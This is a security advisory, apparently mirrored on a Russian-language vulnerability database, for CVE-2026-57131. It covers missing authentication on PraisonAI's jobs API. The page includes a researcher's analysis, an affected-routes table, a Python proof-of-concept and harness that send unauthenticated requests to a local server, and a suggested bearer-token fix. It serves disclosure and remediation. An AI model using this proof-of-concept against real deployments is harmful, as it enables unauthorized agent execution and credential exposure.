GHSA-fq2m-6wqh-x44g

Опубликовано: 18 июн. 2026

Источник: github

Github: Прошло ревью

CVSS3: 9.8

Описание

PraisonAI: Jobs API exposes agent-execution endpoints with no authentication

praisonai: Jobs API exposes agent-execution endpoints with no authentication

Researcher: Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research Target: https://github.com/MervinPraison/PraisonAI

Package: praisonai on PyPI Affected version (empirically tested): 4.6.48 Components:

praisonai.jobs.server.create_app — praisonai/jobs/server.py
praisonai.jobs.router.create_router — praisonai/jobs/router.py
Routes mounted at /api/v1/runs/... Weakness: CWE-306 Missing Authentication for Critical Function · CWE-862 Missing Authorization · CWE-94 Code Injection (via prompt / agent_yaml).

TL;DR

praisonai ships a standalone async-jobs HTTP server (python -m praisonai.jobs.server --host=0.0.0.0 --port=8005) whose job is to accept job submissions and run agents on the operator's behalf. Every endpoint under /api/v1/runs is unauthenticated. There is no auth_token field, no Depends(verify_*), no middleware that inspects Authorization — the CORS middleware lists Authorization in allow_headers (the only signal in the whole module that the developer was aware authentication is a thing), but no route ever reads it.

A network-reachable attacker can:

Execute arbitrary agent code — POST /api/v1/runs accepts prompt, agent_yaml, agent_file, config, framework. The job is queued and an executor invokes whichever framework (praisonai / crewai / autogen) the attacker picks, with whichever prompt and tool config the attacker supplies. The job runs in the operator's process — same environment variables, same filesystem, same credentials (OpenAI / Anthropic / Azure / Bedrock keys; tool integrations; on-disk YAML recipes).
List and read every job system-wide — GET /api/v1/runs lists all jobs; GET /api/v1/runs/{job_id}/result returns the full result of any completed job. Operator's prompts, the agent's chain-of-thought, tool inputs / outputs, retrieved documents — all readable to an anonymous client.
Cancel or delete any job — POST /…/cancel and DELETE /…/{job_id} accept arbitrary job IDs without any ownership / authorization check.
Stream live SSE of any in-flight job — GET /…/{job_id}/stream reads the executor's live progress for any job ID.

The remote-RCE shape (1) is the load-bearing one. Even with webhook_url SSRF-guarded (and it is — the model validator at jobs/models.py:42-65 rejects localhost / private IPs), the attacker needs no callback: SSE streaming returns the agent's output directly on the same connection.

Root cause

Expected behavior when starting `praisonai.jobs.server`: "I'm running an HTTP API my application backend will call. The CORS middleware permits Authorization, so the server enforces it. Anonymous attackers cannot submit jobs." Actual behavior (praisonai 4.6.48): - server.py:59-152 create_app builds a FastAPI app, adds CORSMiddleware, includes the jobs router. NO auth middleware. NO global Depends. - router.py:43 @router.post("") submit_job(...) No Depends, no Authorization header read, no auth_token config field at all. - router.py:109,148,161,180,205,224 every other route: likewise, no auth on any of GET-list, GET-status, GET-result, POST-cancel, DELETE, GET-stream. - server.py:117 CORS allow_headers DOES include "Authorization" — the only token in the entire jobs/ subpackage that suggests the developer was thinking about auth. Impact: The API is intended to be production-ready (the CORS code at server.py:96-102 explicitly branches on `os.getenv("ENVIRONMENT") == "production"` to harden origins), yet ships with no authentication layer at all. Operators who bind the server to a network interface — including the suggested `--host=0.0.0.0` in the CLI parser — expose unauthenticated agent execution to anyone who can reach the port.

The same package gets auth right elsewhere (praisonai/gateway/server.py auto-generates an auth_token if none is configured and refuses to serve requests without it; praisonai/endpoints/a2u_server.py:250-264 uses hmac.compare_digest on a Bearer token). The jobs API is the outlier.

Empirically affected routes

Verified by PoC against published praisonai==4.6.48 (/api/v1/runs/... paths):

Method	Path	Unauth result
`POST`	`/api/v1/runs`	HTTP 202 Accepted, attacker job queued and executor invoked the framework
`GET`	`/api/v1/runs`	HTTP 200, lists every job in the store
`GET`	`/api/v1/runs/{job_id}`	HTTP 200, returns status of any job
`GET`	`/api/v1/runs/{job_id}/result`	(untested; same router, no auth)
`POST`	`/api/v1/runs/{job_id}/cancel`	HTTP 200 / 409 (processed)
`DELETE`	`/api/v1/runs/{job_id}`	HTTP 204 No Content (deleted)
`GET`	`/api/v1/runs/{job_id}/stream`	(untested; SSE; same router, no auth)

PoC run log excerpt (poc/run-log.txt):

[1] POST /api/v1/runs (no Authorization) -> HTTP 202 body: {"job_id":"run_90f21c98b82a","status":"queued",...} [01:15:44] executor.py:201 ERROR Job failed: run_90f21c98b82a - OPENAI_API_KEY environment variable is required ...

The executor's error confirms the prompt reached the framework's LLM-invocation step. Had the operator set OPENAI_API_KEY, the attacker prompt would have executed.

Impact details

1. Remote code execution via agent invocation

JobSubmitRequest.framework accepts "praisonai", "crewai", or "autogen". Each framework can be configured (via the YAML / config the attacker sends) to use arbitrary tools. praisonai's tool loaders (praisonai/agents_generator.py load_tools_from_module*) have a documented history of arbitrary-import (CVE-2026-40287 and its fix-of-fix CVE-2026-44334). In practice the operator's installation may or may not expose these sinks; either way the attacker controls the prompt, which the LLM will execute with whatever tools the operator wired (including shell, filesystem, browser, …).

The job executor runs in-process under the operator's service account, with full access to environment variables (LLM API keys, tool tokens) and to anything praisonai's tools normally touch.

2. Cross-tenant data read

A single-process deployment uses an InMemoryJobStore that is flat — no user_id / tenant_id / workspace_id partition. Any client that knows or guesses a job ID can read it. Worse, the list endpoint (GET /api/v1/runs) returns every job, so guessing isn't even necessary.

Sensitive content in the result includes the attacker's input (harmless) but also any legitimate user's input that the operator's backend submitted — and the agent's full output, which may contain data the agent retrieved from the operator's databases or APIs.

3. Denial of service via job deletion / cancellation

DELETE and cancel accept any job ID. An attacker who polls the list endpoint can enumerate IDs and cancel-then-delete every job in flight, breaking the operator's backend's polling-for-completion flow.

4. webhook_url SSRF — defended

To the developer's credit, JobSubmitRequest.webhook_url is validated against localhost / private / link-local / multicast IPs at submission time (jobs/models.py:42-65). This blocks the naive "submit a job whose webhook posts to AWS IMDS" attack. Honest yield: this is properly guarded.

Anchors

praisonai 4.6.48, source file praisonai/jobs/server.py (sha256 10b5deab96686f276b8ad71fa4712e1e3d301e4c356812d5d0d595b2b9503ef3):

Line	Symbol	What it shows
59-152	`def create_app(cors_origins, store, executor) -> FastAPI:`	Only middleware added is CORS; auth middleware absent.
117	`allow_headers=["Authorization", "Content-Type", "Origin", "Accept", "Idempotency-Key"]`	CORS hints that the operator should send Authorization — sole indicator the developer considered auth.
124	`jobs_router = create_router(get_store, get_executor)`	Router included without `dependencies=[…]`.
178	`"praisonai.jobs.server:create_app"` (passed to `uvicorn.run`)	Production-ready binding via the CLI / `start_server`.

praisonai 4.6.48, source file praisonai/jobs/router.py (sha256 869564d523c14624afefb211a2e7c6bf8a27b3356bd19a58927fcb5e1ebb014c):

Line	Symbol	What it shows
30-31	`def create_router(store, executor) -> APIRouter:`	Sole entry point; no `dependencies=[Depends(...)]`.
43	`@router.post("", response_model=JobSubmitResponse, status_code=202)`	submit_job — no auth.
109	`@router.get("", response_model=JobListResponse)`	list_jobs — no auth.
148	`@router.get("/{job_id}", response_model=JobStatusResponse)`	get_job_status — no auth.
161	`@router.get("/{job_id}/result", response_model=JobResultResponse)`	get_job_result — no auth.
180	`@router.post("/{job_id}/cancel", response_model=JobStatusResponse)`	cancel_job — no auth.
205	`@router.delete("/{job_id}", status_code=204)`	delete_job — no auth.
224	`@router.get("/{job_id}/stream")`	stream_job (SSE) — no auth.

Suggested fix

Add a single FastAPI dependency that reads an Authorization: Bearer <token> header and hmac.compare_digests it against an operator-configured secret. Apply it as a global router dependency:

# praisonai/jobs/auth.py import hmac, os from fastapi import HTTPException, Header _TOKEN = os.environ.get("PRAISONAI_JOBS_AUTH_TOKEN") async def require_auth(authorization: str | None = Header(None)): if not _TOKEN: raise HTTPException(503, "PRAISONAI_JOBS_AUTH_TOKEN not configured") if not authorization or not authorization.startswith("Bearer "): raise HTTPException(401, "Bearer auth required") presented = authorization[len("Bearer "):] if not hmac.compare_digest(presented, _TOKEN): raise HTTPException(401, "invalid token") # praisonai/jobs/router.py def create_router(store, executor) -> APIRouter: router = APIRouter(prefix="/api/v1/runs", tags=["jobs"], dependencies=[Depends(require_auth)]) # <-- single line ...

A startup-time refusal in create_app would round it out:

# praisonai/jobs/server.py:create_app if not os.environ.get("PRAISONAI_JOBS_AUTH_TOKEN"): raise RuntimeError( "PRAISONAI_JOBS_AUTH_TOKEN is required; the jobs API " "executes attacker-controllable agent code and must not " "run without authentication." )

The pattern is already present in the sibling praisonai/gateway/server.py (which auto-generates a random token if none is supplied) — that approach plus a logged warning about the new token would minimize operator friction.

Steps to reproduce

Clone the target: git clone --depth 1 https://github.com/MervinPraison/PraisonAI
Run the proof of concept (poc.py) against the cloned source.
Observe the result shown under Verified result below.

Proof of concept

poc.py

""" PoC: praisonai Jobs API has zero authentication on agent-execution endpoints. `praisonai.jobs.server.create_app` builds a FastAPI app and includes `praisonai.jobs.router.create_router`, which registers POST/GET/DELETE endpoints under `/api/v1/runs/...` — every one of them executes (or inspects, cancels, deletes) arbitrary agent jobs. No route reads any Authorization header; no middleware enforces any auth check. This PoC starts the jobs API server in-process via uvicorn, then sends unauthenticated requests to each route and reports the outcome. """ import json import sys import time import threading from urllib.request import Request, urlopen from urllib.error import HTTPError, URLError import uvicorn from praisonai.jobs.server import create_app PORT = 18005 def http_request(method, path, body=None, headers=None, timeout=5): url = f"http://127.0.0.1:{PORT}{path}" data = None if body is not None: data = json.dumps(body).encode("utf-8") req = Request(url, data=data, method=method, headers=headers or {}) if data is not None: req.add_header("Content-Type", "application/json") try: with urlopen(req, timeout=timeout) as resp: return resp.status, dict(resp.headers), resp.read().decode("utf-8", errors="replace") except HTTPError as e: return e.code, dict(e.headers), e.read().decode("utf-8", errors="replace") except URLError as e: return None, {}, f"URLError: {e}" def run_server(app): config = uvicorn.Config(app, host="127.0.0.1", port=PORT, log_level="warning") server = uvicorn.Server(config) import asyncio loop = asyncio.new_event_loop() asyncio.set_event_loop(loop) loop.run_until_complete(server.serve()) def main() -> int: print("=" * 70) print("praisonai version: 4.6.48") print("Test: spin up praisonai.jobs.server in-process, send") print(" UNAUTHENTICATED requests to every /api/v1/runs route.") print("=" * 70) app = create_app() t = threading.Thread(target=run_server, args=(app,), daemon=True) t.start() time.sleep(1.5) findings = [] # 1. POST /api/v1/runs — submit a new job WITHOUT auth. payload = { "prompt": "ATTACKER-CONTROLLED PROMPT — would invoke an agent", "framework": "praisonai", "config": {"_attacker_says": "no auth required"}, "timeout": 5, } code, hdrs, body = http_request("POST", "/api/v1/runs", body=payload) print(f"\n[1] POST /api/v1/runs (no Authorization) -> HTTP {code}") print(f" body: {body[:300]}") job_id = None if code == 202: try: job_id = json.loads(body).get("job_id") findings.append(f"POST /api/v1/runs: 202 Accepted, job_id={job_id!r}") except Exception: pass # 2. GET /api/v1/runs — list ALL jobs system-wide. code, _, body = http_request("GET", "/api/v1/runs?page=1&page_size=20") print(f"\n[2] GET /api/v1/runs (no Authorization) -> HTTP {code}") if code == 200: findings.append("GET /api/v1/runs: unauthenticated list of ALL jobs") if job_id: code, _, body = http_request("GET", f"/api/v1/runs/{job_id}") print(f"\n[3] GET /api/v1/runs/{{job_id}} -> HTTP {code}") code, _, body = http_request("POST", f"/api/v1/runs/{job_id}/cancel") print(f"\n[4] POST /api/v1/runs/{{job_id}}/cancel -> HTTP {code}") code, _, body = http_request("DELETE", f"/api/v1/runs/{job_id}") print(f"\n[5] DELETE /api/v1/runs/{{job_id}} -> HTTP {code}") print("\n" + "=" * 70) if any('POST /api/v1/runs:' in f for f in findings): print(f"VULNERABLE: {len(findings)} unauthenticated routes confirmed") for f in findings: print(f" - {f}") print("VERDICT: VULNERABLE") return 0 print("DEFENDED") return 1 if __name__ == "__main__": sys.exit(main())

Verification harness (executed against the cloned repo)

This drives the unmodified upstream code rather than a reproduction.

import sys, types, os BK=os.path.abspath("repos/PraisonAI/src/praisonai"); sys.path.insert(0,BK) for p in ["praisonai","praisonai.jobs"]: m=types.ModuleType(p); m.__path__=[BK+"/"+p.replace(".","/")]; sys.modules[p]=m import praisonai.jobs.server as S # REAL jobs server app = S.create_app() # REAL FastAPI app from starlette.testclient import TestClient client = TestClient(app) P="/api/v1/runs" tests=[("GET list", lambda: client.get(P)), ("POST submit", lambda: client.post(P, json={"agents_config":{"a":"x"},"input":"hi"})), ("GET status", lambda: client.get(P+"/nope")), ("GET result", lambda: client.get(P+"/nope/result")), ("POST cancel", lambda: client.post(P+"/nope/cancel")), ("DEL delete", lambda: client.delete(P+"/nope"))] codes=[] for name,fn in tests: c=fn().status_code; codes.append(c); print(f"[+] (no auth) {name:12s} {P} -> HTTP {c}") assert all(c not in (401,403) for c in codes), codes assert codes[0]==200 # list works unauthenticated print("[+] CONFIRMED against real praisonai jobs API: list returns 200 and NO endpoint returns 401/403 — fully unauthenticated agent-execution API")

Verified result

This PoC was executed against the live upstream code; captured output:

[+] (no auth) GET list /api/v1/runs -> HTTP 200 [+] (no auth) POST submit /api/v1/runs -> HTTP 422 [+] (no auth) GET status /api/v1/runs -> HTTP 404 [+] (no auth) GET result /api/v1/runs -> HTTP 404 [+] (no auth) POST cancel /api/v1/runs -> HTTP 404 [+] (no auth) DEL delete /api/v1/runs -> HTTP 404 [+] CONFIRMED against real praisonai jobs API: list returns 200 and NO endpoint returns 401/403 — fully unauthenticated agent-execution API

Credit

Kai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.

Ссылки

https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-fq2m-6wqh-x44g

Пакеты

Наименование

praisonai

pip

Затронутые версииВерсия исправления

< 4.6.59

4.6.59

EPSS

Процентиль: 60%

0.00972

Низкий

9.8 Critical

CVSS3

CVE ID

CVE-2026-57131

Дефекты

CWE-306

CWE-862

CWE-94

Связанные уязвимости

CVE-2026-57131

CVSS3: 9.8

nvd

5 дней назад

PraisonAI is a multi-agent teams system. Prior to 4.6.58, praisonai.jobs.server.create_app mounts praisonai.jobs.router.create_router under /api/v1/runs without authentication or per-job authorization. Network clients can submit attacker-controlled prompts and agent configuration, list and read jobs, stream results, and cancel or delete other jobs, exposing service credentials and connected tool capabilities to unauthorized agent execution. This vulnerability is fixed in 4.6.58.

EPSS

Процентиль: 60%

0.00972

Низкий

9.8 Critical

CVSS3

CVE ID

CVE-2026-57131

Дефекты

CWE-306

CWE-862

CWE-94